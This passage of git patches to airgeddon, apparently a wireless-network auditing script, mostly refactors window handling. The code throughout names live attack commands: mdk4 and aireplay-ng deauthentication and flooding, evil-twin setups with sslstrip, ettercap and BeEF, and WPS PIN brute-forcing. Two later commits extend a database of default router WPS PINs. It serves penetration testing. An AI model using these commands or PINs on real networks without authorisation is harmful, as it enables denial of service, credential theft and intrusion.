mode)" -e mdk4 "${interface_pursuit_mode_deauth}" a -a "${bssid}" -m -s 1024 > /dev/null 2>&1 & ;; "michael shutdown attack") dos_delay=1 @@ -3681,7 +3667,6 @@ function launch_dos_pursuit_mode_attack() { dos_pursuit_mode_attack_pid="${global_process_pid}" global_process_pid="" fi - #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" m -t "${bssid}" -w 1 -n 1024 -s 1024 > /dev/null 2>&1 & ;; "Mdk4") dos_delay=1 @@ -3693,7 +3678,6 @@ function launch_dos_pursuit_mode_attack() { dos_pursuit_mode_attack_pid="${global_process_pid}" global_process_pid="" fi - #xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth (DoS Pursuit mode)" -e "mdk4 ${interface_pursuit_mode_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" > /dev/null 2>&1 & ;; "Aireplay") interface_pursuit_mode_scan="${secondary_wifi_interface}" @@ -3706,7 +3690,6 @@ function launch_dos_pursuit_mode_attack() { dos_pursuit_mode_attack_pid="${global_process_pid}" global_process_pid="" fi - #xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth (DoS Pursuit mode)" -e "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" > /dev/null 2>&1 & ;; "Wds Confusion") dos_delay=10 @@ -3718,7 +3701,6 @@ function launch_dos_pursuit_mode_attack() { dos_pursuit_mode_attack_pid="${global_process_pid}" global_process_pid="" fi - #xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth (DoS Pursuit mode)" -e "mdk4 ${interface_pursuit_mode_deauth} w -e ${essid} -c ${channel}" > /dev/null 2>&1 & ;; esac @@ -3840,7 +3822,6 @@ function exec_mdk4deauth() { recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"mdk4 amok attack\"" "mdk4 ${interface} d -b ${tmpdir}bl.txt -c ${channel}" "mdk4 amok attack" wait_for_process "mdk4 ${interface} d -b ${tmpdir}bl.txt -c ${channel}" "mdk4 amok attack" - #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "mdk4 amok attack" -e mdk4 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 fi } @@ -3871,7 +3852,6 @@ function exec_aireplaydeauth() { recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"aireplay deauth attack\"" "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}" "aireplay deauth attack" wait_for_process "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}" "aireplay deauth attack" - #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface}" > /dev/null 2>&1 fi } @@ -3900,7 +3880,6 @@ function exec_wdsconfusion() { recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"wids / wips / wds confusion attack\"" "mdk4 ${interface} w -e ${essid} -c ${channel}" "wids / wips / wds confusion attack" wait_for_process "mdk4 ${interface} w -e ${essid} -c ${channel}" "wids / wips / wds confusion attack" - #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "wids / wips / wds confusion attack" -e mdk4 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 fi } @@ -3929,7 +3908,6 @@ function exec_beaconflood() { recalculate_windows_sizes manage_output "+j -sb -rightbar -geometry ${g1_topleft_window} -T \"beacon flood attack\"" "mdk4 ${interface} b -n ${essid} -c ${channel} -s 1000 -h" "beacon flood attack" wait_for_process "mdk4 ${interface} b -n ${essid} -c ${channel} -s 1000 -h" "beacon flood attack" - #xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "beacon flood attack" -e mdk4 "${interface}" b -n "${essid}" -c "${channel}" -s 1000 -h > /dev/null 2>&1 fi } @@ -3958,7 +3936,6 @@ function exec_authdos() { recalculate_windows_sizes manage_output "+j -sb -rightbar -geometry ${g1_topleft_window} -T \"auth dos attack\"" "mdk4 ${interface} a -a ${bssid} -m -s 1024" "auth dos attack" wait_for_process "mdk4 ${interface} a -a ${bssid} -m -s 1024" "auth dos attack" - #xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "auth dos attack" -e mdk4 "${interface}" a -a "${bssid}" -m -s 1024 > /dev/null 2>&1 fi } @@ -3987,7 +3964,6 @@ function exec_michaelshutdown() { recalculate_windows_sizes manage_output "+j -sb -rightbar -geometry ${g1_topleft_window} -T \"michael shutdown attack\"" "mdk4 ${interface} m -t ${bssid} -w 1 -n 1024 -s 1024" "michael shutdown attack" wait_for_process "mdk4 ${interface} m -t ${bssid} -w 1 -n 1024 -s 1024" "michael shutdown attack" - #xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "michael shutdown attack" -e mdk4 "${interface}" m -t "${bssid}" -w 1 -n 1024 -s 1024 > /dev/null 2>&1 fi } @@ -8045,7 +8021,7 @@ function launch_fake_ap() { et_processes+=("${global_process_pid}") global_process_pid="" fi - #xterm -hold -bg black -fg green -geometry "${hostapd_scr_window_position}" -T "AP" -e "${command}${log_command}" > /dev/null 2>&1 & + sleep 3 } @@ -8283,7 +8259,7 @@ function launch_dhcp_server() { et_processes+=("${global_process_pid}") global_process_pid="" fi - #xterm -hold -bg black -fg pink -geometry "${dchcpd_scr_window_position}" -T "DHCP" -e "dhcpd -d -cf \"${dhcp_path}\" ${interface} 2>&1 | tee -a ${tmpdir}/clts.txt" > /dev/null 2>&1 & + sleep 2 } @@ -8341,7 +8317,7 @@ function exec_et_deauth() { et_processes+=("${global_process_pid}") global_process_pid="" fi - #xterm -hold -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth" -e "${deauth_et_cmd}" > /dev/null 2>&1 & + sleep 1 fi } @@ -9312,7 +9288,6 @@ function launch_dns_blackhole() { et_processes+=("${global_process_pid}") global_process_pid="" fi - #xterm -hold -bg black -fg blue -geometry "${g4_middleright_window}" -T "DNS" -e "${optional_tools_names[12]} -i ${interface}" > /dev/null 2>&1 & } #Launch control window for Enterprise attacks @@ -9329,7 +9304,6 @@ function launch_enterprise_control_window() { enterprise_process_control_window="${global_process_pid}" global_process_pid="" fi - #xterm -hold -bg "#000000" -fg "#FFFFFF" -geometry "${g1_topright_window}" -T "Control" -e "bash \"${tmpdir}${control_enterprise_file}\"" > /dev/null 2>&1 & } #Launch control window for Evil Twin attacks @@ -9367,7 +9341,6 @@ function launch_et_control_window() { et_process_control_window="${global_process_pid}" global_process_pid="" fi - #xterm -hold -bg black -fg white -geometry "${control_scr_window_position}" -T "Control" -e "bash \"${tmpdir}${control_et_file}\"" > /dev/null 2>&1 & } #Create configuration file for lighttpd @@ -9621,7 +9594,6 @@ function launch_webserver() { et_processes+=("${global_process_pid}") global_process_pid="" fi - #xterm -hold -bg black -fg yellow -geometry "${lighttpd_window_position}" -T "Webserver" -e "lighttpd -D -f \"${tmpdir}${webserver_file}\"" > /dev/null 2>&1 & } #Launch sslstrip for sslstrip sniffing Evil Twin attack @@ -9639,7 +9611,6 @@ function launch_sslstrip() { et_processes+=("${global_process_pid}") global_process_pid="" fi - #xterm -hold -bg black -fg blue -geometry "${g4_middleright_window}" -T "Sslstrip" -e "sslstrip -w \"${tmpdir}${sslstrip_file}\" -p -l ${sslstrip_port} -f -k" > /dev/null 2>&1 & } #Launch ettercap sniffer @@ -9669,7 +9640,6 @@ function launch_ettercap_sniffing() { et_processes+=("${global_process_pid}") global_process_pid="" fi - #xterm -hold -bg black -fg yellow -geometry "${sniffing_scr_window_position}" -T "Sniffer" -e "${ettercap_cmd}" > /dev/null 2>&1 & } #Create configuration file for beef @@ -9968,7 +9938,6 @@ function launch_beef() { et_processes+=("${global_process_pid}") global_process_pid="" fi - #xterm -hold -bg black -fg green -geometry "${g4_middleright_window}" -T "BeEF" -e "cd ${beef_path} && ./beef -c \"${beef_file}\"" > /dev/null 2>&1 & else manage_output "-hold -bg \"#000000\" -fg \"#00FF00\" -geometry ${g4_middleright_window} -T \"BeEF\"" "${optional_tools_names[19]}" "BeEF" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then @@ -9976,12 +9945,12 @@ function launch_beef() { et_processes+=("${global_process_pid}") global_process_pid="" fi - #xterm -hold -bg black -fg green -geometry "${g4_middleright_window}" -T "BeEF" -e "${optional_tools_names[19]}" > /dev/null 2>&1 & fi if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then - et_processes+=($!) + et_processes+=($!) fi + sleep 2 } @@ -10011,7 +9980,6 @@ function launch_bettercap_sniffing() { else et_processes+=($!) fi - #xterm -hold -bg black -fg yellow -geometry "${sniffing_scr_window_position}" -T "Sniffer+Bettercap-Sslstrip2/BeEF" -e "${bettercap_cmd}" > /dev/null 2>&1 & } #Parse ettercap log searching for captured passwords @@ -10456,7 +10424,6 @@ function capture_handshake_evil_twin() { processidattack="${global_process_pid}" global_process_pid="" fi - #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_bottomleft_window}" -T "mdk4 amok attack" -e mdk4 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & sleeptimeattack=12 ;; "Aireplay") @@ -10468,7 +10435,6 @@ function capture_handshake_evil_twin() { processidattack="${global_process_pid}" global_process_pid="" fi - #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_bottomleft_window}" -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface}" > /dev/null 2>&1 & sleeptimeattack=12 ;; "Wds Confusion") @@ -10479,7 +10445,6 @@ function capture_handshake_evil_twin() { processidattack="${global_process_pid}" global_process_pid="" fi - #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_bottomleft_window}" -T "wids / wips / wds confusion attack" -e mdk4 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & sleeptimeattack=16 ;; esac @@ -10490,7 +10455,9 @@ function capture_handshake_evil_twin() { else sleep ${sleeptimeattack} && kill ${processidattack} && kill_tmux_windows "Capturing Handshake" &> /dev/null fi + handshake_capture_check + if check_bssid_in_captured_file "${tmpdir}${standardhandshake_filename}" "silent"; then handshakepath="${default_save_path}" @@ -10945,7 +10912,6 @@ function attack_handshake_menu() { processidattack="${global_process_pid}" global_process_pid="" fi - #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_bottomleft_window}" -T "mdk4 amok attack" -e mdk4 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & sleeptimeattack=12 fi ;; @@ -10964,7 +10930,6 @@ function attack_handshake_menu() { processidattack="${global_process_pid}" global_process_pid="" fi - #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_bottomleft_window}" -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface}" > /dev/null 2>&1 & sleeptimeattack=12 fi ;; @@ -10982,7 +10947,6 @@ function attack_handshake_menu() { processidattack="${global_process_pid}" global_process_pid="" fi - #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_bottomleft_window}" -T "wids / wips / wds confusion attack" -e mdk4 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & sleeptimeattack=16 fi ;; @@ -11025,7 +10989,6 @@ function capture_handshake_window() { else processidcapture=$! fi - #xterm +j -sb -rightbar -geometry "${g1_topright_window}" -T "Capturing Handshake" -e airodump-ng -c "${channel}" -d "${bssid}" -w "${tmpdir}handshake" "${interface}" > /dev/null 2>&1 & } #Manage target exploration and parse the output files @@ -11084,7 +11047,6 @@ function explore_for_targets_option() { recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g1_topright_window} -T \"Exploring for targets\"" "airodump-ng -w ${tmpdir}nws${cypher_cmd}${interface} --band ${airodump_band_modifier}" "Exploring for targets" "active" wait_for_process "airodump-ng -w ${tmpdir}nws${cypher_cmd}${interface} --band ${airodump_band_modifier}" "Exploring for targets" - #xterm +j -bg "#000000" -fg "#FFFFFF" -geometry "${g1_topright_window}" -T "Exploring for targets" -e airodump-ng -w "${tmpdir}nws" --encrypt "${cypher_filter}" "${interface}" --band "${airodump_band_modifier}" > /dev/null 2>&1 targetline=$(awk '/(^Station[s]?|^Client[es]?)/{print NR}' < "${tmpdir}nws-01.csv") targetline=$((targetline - 1)) @@ -11202,7 +11164,6 @@ function explore_for_wps_targets_option() { recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g1_topright_window} -T \"Exploring for WPS targets\"" "wash -i \"${interface}\"${wash_ifaces_already_set[${interface}]}${wash_band_modifier} | tee \"${tmpdir}wps.txt\"" "Exploring for WPS targets" "active" wait_for_process "wash -i \"${interface}\"${wash_ifaces_already_set[${interface}]}${wash_band_modifier}" "Exploring for WPS targets" - #xterm +j -bg "#000000" -fg "#FFFFFF" -geometry "${g1_topright_window}" -T "Exploring for WPS targets" -e "wash -i \"${interface}\" ${wash_ifaces_already_set[${interface}]} ${wash_band_modifier} | tee \"${tmpdir}wps.txt\"" > /dev/null 2>&1 readarray -t WASH_PREVIEW < <(cat < "${tmpdir}wps.txt" 2> /dev/null) From fa13a74feaa6d0b0166f4c6b0f0c69c88515922a Mon Sep 17 00:00:00 2001 From: xpz3 Date: Thu, 11 Apr 2019 02:11:18 +0530 Subject: [PATCH 124/148] Set desired active tmux window for WPS Attacks and DoS Attacks --- airgeddon.sh | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 82531fdd4..0992f47b8 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20190410 +#Date.........: 20190411 #Version......: 9.20 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -3462,7 +3462,7 @@ function exec_wps_custom_pin_bully_attack() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdleft_window} -T \"WPS custom pin bully attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS custom pin bully attack" + manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdleft_window} -T \"WPS custom pin bully attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS custom pin bully attack" "active" wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS custom pin bully attack" } @@ -3480,7 +3480,7 @@ function exec_wps_custom_pin_reaver_attack() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdleft_window} -T \"WPS custom pin reaver attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS custom pin reaver attack" + manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdleft_window} -T \"WPS custom pin reaver attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS custom pin reaver attack" "active" wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS custom pin reaver attack" } @@ -3498,7 +3498,7 @@ function exec_bully_pixiewps_attack() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdright_window} -T \"WPS bully pixie dust attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bully pixie dust attack" + manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdright_window} -T \"WPS bully pixie dust attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bully pixie dust attack" "active" wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bully pixie dust attack" } @@ -3516,7 +3516,7 @@ function exec_reaver_pixiewps_attack() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdright_window} -T \"WPS reaver pixie dust attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS reaver pixie dust attack" + manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdright_window} -T \"WPS reaver pixie dust attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS reaver pixie dust attack" "active" wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS reaver pixie dust attack" } @@ -3534,7 +3534,7 @@ function exec_wps_bruteforce_pin_bully_attack() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdleft_window} -T \"WPS bruteforce pin bully attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bruteforce pin bully attack" + manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdleft_window} -T \"WPS bruteforce pin bully attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bruteforce pin bully attack" "active" wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bruteforce pin bully attack" } @@ -3552,7 +3552,7 @@ function exec_wps_bruteforce_pin_reaver_attack() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdleft_window} -T \"WPS bruteforce pin reaver attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bruteforce pin reaver attack" + manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdleft_window} -T \"WPS bruteforce pin reaver attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bruteforce pin reaver attack" "active" wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bruteforce pin reaver attack" } @@ -3566,7 +3566,7 @@ function exec_wps_pin_database_bully_attack() { set_wps_attack_script "bully" "pindb" recalculate_windows_sizes - manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdright_window} -T \"WPS bully known pins database based attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bully known pins database based attack" + manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdright_window} -T \"WPS bully known pins database based attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bully known pins database based attack" "active" wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bully known pins database based attack" } @@ -3580,7 +3580,7 @@ function exec_wps_pin_database_reaver_attack() { set_wps_attack_script "reaver" "pindb" recalculate_windows_sizes - manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdright_window} -T \"WPS reaver known pins database based attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS reaver known pins database based attack" + manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdright_window} -T \"WPS reaver known pins database based attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS reaver known pins database based attack" "active" wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS reaver known pins database based attack" } @@ -3820,7 +3820,7 @@ function exec_mdk4deauth() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"mdk4 amok attack\"" "mdk4 ${interface} d -b ${tmpdir}bl.txt -c ${channel}" "mdk4 amok attack" + manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"mdk4 amok attack\"" "mdk4 ${interface} d -b ${tmpdir}bl.txt -c ${channel}" "mdk4 amok attack" "active" wait_for_process "mdk4 ${interface} d -b ${tmpdir}bl.txt -c ${channel}" "mdk4 amok attack" fi } @@ -3850,7 +3850,7 @@ function exec_aireplaydeauth() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"aireplay deauth attack\"" "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}" "aireplay deauth attack" + manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"aireplay deauth attack\"" "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}" "aireplay deauth attack" "active" wait_for_process "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}" "aireplay deauth attack" fi } @@ -3878,7 +3878,7 @@ function exec_wdsconfusion() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"wids / wips / wds confusion attack\"" "mdk4 ${interface} w -e ${essid} -c ${channel}" "wids / wips / wds confusion attack" + manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"wids / wips / wds confusion attack\"" "mdk4 ${interface} w -e ${essid} -c ${channel}" "wids / wips / wds confusion attack" "active" wait_for_process "mdk4 ${interface} w -e ${essid} -c ${channel}" "wids / wips / wds confusion attack" fi } @@ -3906,7 +3906,7 @@ function exec_beaconflood() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - manage_output "+j -sb -rightbar -geometry ${g1_topleft_window} -T \"beacon flood attack\"" "mdk4 ${interface} b -n ${essid} -c ${channel} -s 1000 -h" "beacon flood attack" + manage_output "+j -sb -rightbar -geometry ${g1_topleft_window} -T \"beacon flood attack\"" "mdk4 ${interface} b -n ${essid} -c ${channel} -s 1000 -h" "beacon flood attack" "active" wait_for_process "mdk4 ${interface} b -n ${essid} -c ${channel} -s 1000 -h" "beacon flood attack" fi } @@ -3934,7 +3934,7 @@ function exec_authdos() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - manage_output "+j -sb -rightbar -geometry ${g1_topleft_window} -T \"auth dos attack\"" "mdk4 ${interface} a -a ${bssid} -m -s 1024" "auth dos attack" + manage_output "+j -sb -rightbar -geometry ${g1_topleft_window} -T \"auth dos attack\"" "mdk4 ${interface} a -a ${bssid} -m -s 1024" "auth dos attack" "active" wait_for_process "mdk4 ${interface} a -a ${bssid} -m -s 1024" "auth dos attack" fi } @@ -3962,7 +3962,7 @@ function exec_michaelshutdown() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - manage_output "+j -sb -rightbar -geometry ${g1_topleft_window} -T \"michael shutdown attack\"" "mdk4 ${interface} m -t ${bssid} -w 1 -n 1024 -s 1024" "michael shutdown attack" + manage_output "+j -sb -rightbar -geometry ${g1_topleft_window} -T \"michael shutdown attack\"" "mdk4 ${interface} m -t ${bssid} -w 1 -n 1024 -s 1024" "michael shutdown attack" "active" wait_for_process "mdk4 ${interface} m -t ${bssid} -w 1 -n 1024 -s 1024" "michael shutdown attack" fi } From 6a02d8fd9819211977cefa0d0bbf42e6fad05ae1 Mon Sep 17 00:00:00 2001 From: JBalanza Date: Fri, 12 Apr 2019 08:03:42 +0200 Subject: [PATCH 125/148] Fixed bad vendor mac for WPS pin database --- known_pins.db | 6 +++--- pindb_checksum.txt | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/known_pins.db b/known_pins.db index 651b60f1b..00e6b1cf1 100644 --- a/known_pins.db +++ b/known_pins.db @@ -2,7 +2,7 @@ #Title........: known_pins.db #Description..: This is a WPS PIN database for routers that generate generic passwords. #Author.......: v1s1t0r -#Date.........: 20190113 +#Date.........: 20190412 #Bash Version.: 4.2 or later #Set PIN database. Keys are the first 6 bssid digits and are ordered @@ -191,7 +191,7 @@ function set_pin_database() { PINDB["6AA8E4"]="51016128 51011727" PINDB["6AC06F"]="44574886 36433124 36715725 34052648" PINDB["6AC714"]="32179323 32060003" - PINDB["6AID67"]="04161608" + PINDB["6A1D67"]="04161608" PINDB["6F3AC8"]="72895443" PINDB["72233D"]="36228645" PINDB["723DFF"]="50540686 53015921" @@ -222,7 +222,7 @@ function set_pin_database() { PINDB["8C0CA3"]="02991172" PINDB["8CA982"]="18625790" PINDB["8CCA32"]="71259987" - PINDB["8COC22"]="22263896" + PINDB["8C0C22"]="22263896" PINDB["905C44"]="71756837" PINDB["90C792"]="96603086 02716985 38225505" PINDB["90E6BA"]="17035419" diff --git a/pindb_checksum.txt b/pindb_checksum.txt index 0fef0fdf5..c93b43441 100644 --- a/pindb_checksum.txt +++ b/pindb_checksum.txt @@ -1 +1 @@ -42b2f1b19d4c07c489b7c0e6c4135449 +ca9db8c2a396dcb5e130d3cad257acb9 From ab336d5c13f7947805643daa0c34a27e6486b4a7 Mon Sep 17 00:00:00 2001 From: JBalanza Date: Fri, 12 Apr 2019 08:09:54 +0200 Subject: [PATCH 126/148] Updated WPS pin database --- known_pins.db | 331 +++++++++++++++++++++++++++++++-------------- pindb_checksum.txt | 2 +- 2 files changed, 228 insertions(+), 105 deletions(-) diff --git a/known_pins.db b/known_pins.db index 00e6b1cf1..71d141606 100644 --- a/known_pins.db +++ b/known_pins.db @@ -13,57 +13,68 @@ function set_pin_database() { declare -gA PINDB PINDB["000138"]="35606543" + PINDB["00026F"]="07651564" PINDB["0004ED"]="29985685 19951683" PINDB["0005CA"]="73851738 76916144" - PINDB["000726"]="18625790 10847138" + PINDB["000726"]="18625790 10847138 12345670" PINDB["0008A1"]="58764015" PINDB["000A26"]="81857401" PINDB["000A52"]="22498403" + PINDB["000AEB"]="41236079" PINDB["000B3B"]="40053707" PINDB["000B85"]="70066647" PINDB["000CC3"]="47392717 12345670" PINDB["000CF1"]="30447028" + PINDB["000CF6"]="49659948" PINDB["001122"]="12345678" + PINDB["0011A3"]="34296462" PINDB["0011E6"]="12345670" - PINDB["0013F7"]="14755989" - PINDB["0014D1"]="26848185" + PINDB["0013F7"]="14755989 48703970 06017637" + PINDB["0014D1"]="26848185 86986304 57243368 75099992" PINDB["00160A"]="22640086" PINDB["001802"]="16546615" - PINDB["0018E7"]="15537782" - PINDB["001915"]="12345670 63396638 00123457" + PINDB["0018E7"]="15537782 90467912 37017422 71095837 90427145 79489515 41759745 04286631 00000000" + PINDB["001915"]="12345670 63396638 00123457 41174722" PINDB["001918"]="12345670" PINDB["001970"]="12345670 64637129 22310298" PINDB["001A2B"]="15624697 16495265 88478760 77775078 51340865 21143892 18836486 12454389" PINDB["001A3F"]="54063945 34214183" - PINDB["001B11"]="84794079" + PINDB["001AA9"]="31957199" + PINDB["001AEF"]="12345670" + PINDB["001B11"]="84794079 36494002" PINDB["001C28"]="38377433" PINDB["001D19"]="66026402 12345670" - PINDB["001D6A"]="88171449" + PINDB["001D6A"]="88171449 12345670" PINDB["001D73"]="88420707" PINDB["001D7E"]="66026402" + PINDB["001DCD"]="26723129" PINDB["001DCE"]="85560130 12345670" - PINDB["001DCF"]="12345670" + PINDB["001DCF"]="12345670 11234555" + PINDB["001DD0"]="36800230" PINDB["001DD1"]="37272937" - PINDB["001DD2"]="58542132 14550126 49143836" + PINDB["001DD2"]="58542132 14550126 49143836 61581944" PINDB["001DD6"]="11677672" PINDB["001E2A"]="12345670" + PINDB["001EE5"]="04387411" + PINDB["001F1F"]="58227046" PINDB["001F9F"]="59762454 74673841 83712630" PINDB["001FA4"]="12345670" - PINDB["001FCE"]="14169809" + PINDB["001FCE"]="14169809 91261960 15624697" PINDB["002129"]="22310298 00717625 00009980 64103747 95891705 64637129" - PINDB["002191"]="28423737 82744458" + PINDB["002191"]="28423737 82744458 07364679" PINDB["002202"]="12345670" PINDB["00223F"]="48247818" PINDB["00226B"]="59900887" - PINDB["002275"]="12885381 25751118 14989346 53704825 34922453 29221790" + PINDB["002275"]="12885381 25751118 14989346 53704825 34922453 29221790 44058685" PINDB["002293"]="92854048 92937208" - PINDB["0022F7"]="60530004 25853209" - PINDB["002369"]="51348014" - PINDB["0023CD"]="54080812" - PINDB["002401"]="97744757 10987957 91866882 78671294 45558221" + PINDB["0022B0"]="35860167" + PINDB["0022F7"]="60530004 25853209 23096004 26834481" + PINDB["002369"]="51348014 37591267" + PINDB["0023CD"]="54080812 21379666" + PINDB["002401"]="97744757 10987957 91866882 78671294 45558221 60530004 31011193 81320820" PINDB["002417"]="31011193 84207302" PINDB["00248C"]="34693841" - PINDB["0024A5"]="11248729" + PINDB["0024A5"]="11248729 44960452" PINDB["0024B2"]="89425671 38686191 37449858" PINDB["00259C"]="78091597 19805672" PINDB["0025D3"]="19004938" @@ -71,10 +82,12 @@ function set_pin_database() { PINDB["002624"]="95374611 78202962" PINDB["002644"]="49780871 78202962" PINDB["00265A"]="79594295 03888070 36290512 76971464 17245685 96119433 12157259 51592905" - PINDB["00265B"]="28390046 15488107 36277216 91514257" - PINDB["0026CE"]="61203402" + PINDB["00265B"]="28390046 15488107 36277216 91514257 82068899 30027602" + PINDB["0026CE"]="61203402 10805794 09752214 11003229 95661469" PINDB["0026E8"]="15483607" PINDB["0026F2"]="32312966 64426679 37380342" + PINDB["002711"]="00852401" + 